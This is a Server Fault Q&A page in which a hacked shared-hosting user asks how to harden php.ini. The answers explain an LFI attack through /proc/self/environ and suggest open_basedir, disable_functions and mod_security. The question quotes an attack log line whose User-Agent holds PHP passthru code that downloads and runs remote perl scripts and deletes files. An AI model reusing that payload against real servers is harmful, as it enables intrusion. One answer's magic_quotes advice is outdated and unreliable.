3

I have been attacked on a shared host server (heartinternet) and they said I should configure my own php.ini file properly.

Well I have a little php/MySQL program with a registering function, a little admin site however someone hacked it.

What is the general way to configure a php.ini file to be able to prevent attack like this? Any good setting would be really appreciated.

Here is what I got from the webhost provider:

121.254.216.170 - - [12/Sep/2011:05:21:07 +0100] "GET /?p=../../../../../../../../../../../../../../../proc/self/environ%00 HTTP/1.1" 200 5806 "-" "<?php echo \"j13mb0t#\"; passthru('wget http://some.thesome.com/etc/byz.jpg? -O /tmp/cmd548;cd /tmp;lwp-download http ://some . thesome . com/etc/cup.txt;perl cup.txt;rm -rf *.txt*;wget
http ://some . thesome . com/etc/update.txt;perl update.txt;rm -rf *.txt*'); echo \"#j13mb0t\"; ?>"

Because script injection attacks the site code itself, it is able to completely avoid webserver security. Unfortunately, some content management systems (especially older versions of Joomla) are extremely susceptible to this form of attack.

A simple way to remove the ability for attackers to use this method is to add a php.ini file at the top-level of the website with the following contents - be aware though that the web-site will need testing afterwards to ensure that no legitimate web-site scripted actions have been affected by the change:

The php.ini directives are...

allow_url_include = "0"
allow_url_fopen = "0"
Sathyajith Bhat
  • 286
  • 1
  • 5
  • 23
TryHarder
  • 249
  • 1
  • 2
  • 13

4 Answers4

5

It's not clear that either of those directives would have blocked this attack. The way that attack worked was not by include()ing or fopen()ing a remote URL, it relied on being able to trick your code into include()ing /proc/self/environ which is a file containing the process's environment variables. The request poisoned those environment variables with the actual exploit code, and the actual exploit downloaded and executed a perl script that did the dirty work.

Establishing an open_basedir setting that allows your code to only open files in specific directories would have blocked this attack, but in general, programs that execute scripts based on user input without very rigorous controls have dozens of ways to be attacked, especially if they allow user-uploaded content like pictures or whatever.

Keeping your site code up-to-date is important too. Especially since this exploit has been known to affect Joomla since at least last March

DerfK
  • 19,493
  • 2
  • 38
  • 54
  • Thanks your kind answer, could you give ma an example how to do that as I am a beginner on this side. Thanks again – TryHarder Sep 13 '11 at 13:55
0

when can also prevent by using magic_quotes_gpc = On and magic_quotes_runtime = On in your php.ini . due to this automatically escape all ' (single-quote), " (double quote), \ (backslash) and NUL's with a backslash for GET, POST and cookies sent.

Asadullah
  • 1
-1

If you are asking how to prevent exactly this attack, what you need to disable is the passthru function in php.ini. If you are privileged to load your custom php.ini, you can disable some dangerous php functions such as exec (unless your script need it) by putting the appropriate functions in the php disable functions list.

disable_functions=passthru,exec,phpinfo

There is no specific set of disable function which you can use here(if there are, then php devs would have never included it in php :)). It all depends on the php functions you use and don't use. So, refer the php manual, and add any system command/function invoking php functions which are not used in your site script to the disable_functions list.

Additionally, ask your host to install & configure mod_security which will not only protect your domain but everyone else in the shared environment. mod_security is a wonderful web application firewall which will help you protect the sites from a number of web attacks including html injection, sql injection, XSS attacks..etc. As from the given attack details, the attacker is uploading the perl script to /tmp which is most likely a threat to the whole server and not only limited to your domain/account.

SparX
  • 1,924
  • 12
  • 10
  • Thanks a lot SparX really appreciate your detailed answer. – TryHarder Sep 12 '11 at 22:51
  • Hi SparX unfortunately I can't my provider doesn't let me change it any other idea? thanks – TryHarder Sep 13 '11 at 13:53
  • Hi Andras, what is your host not allowing to change ? Could you clarify. – SparX Sep 13 '11 at 14:08
  • Thanks for the quickly one:) mod_security is not installed also passthru can not be changed by Heartinternet, unfortunately. – TryHarder Sep 13 '11 at 14:16
  • Just ask your host to disable those php functions for your domain only (either via htaccess or using a custom php.ini depending on the current php handler). – SparX Sep 13 '11 at 14:29
-2

See here: http://blog.tenablesecurity.com/2009/08/configuration-auditing-phpini-to-help-prevent-web-application-attacks.html Read the entire page.

mrdenny
  • 27,174
  • 4
  • 41
  • 69
U4iK_HaZe
  • 633
  • 5
  • 13
  • point there, sorry updated. I want to configure my php.ini file as best as I can. Any help on that? – TryHarder Sep 12 '11 at 21:59
  • 1
    See here: http://blog.tenablesecurity.com/2009/08/configuration-auditing-phpini-to-help-prevent-web-application-attacks.html Read the entire page. – U4iK_HaZe Sep 12 '11 at 22:03
  • 2
    Again, please don't just link to outside resources. Provide some content here, perhaps a summary. – EEAA Sep 12 '11 at 22:41
  • 1
    See the "Provide Context..." paragraph of the [How to Answer](http://serverfault.com/questions/how-to-answer) page (which you've already read, correct?). – EEAA Sep 12 '11 at 22:46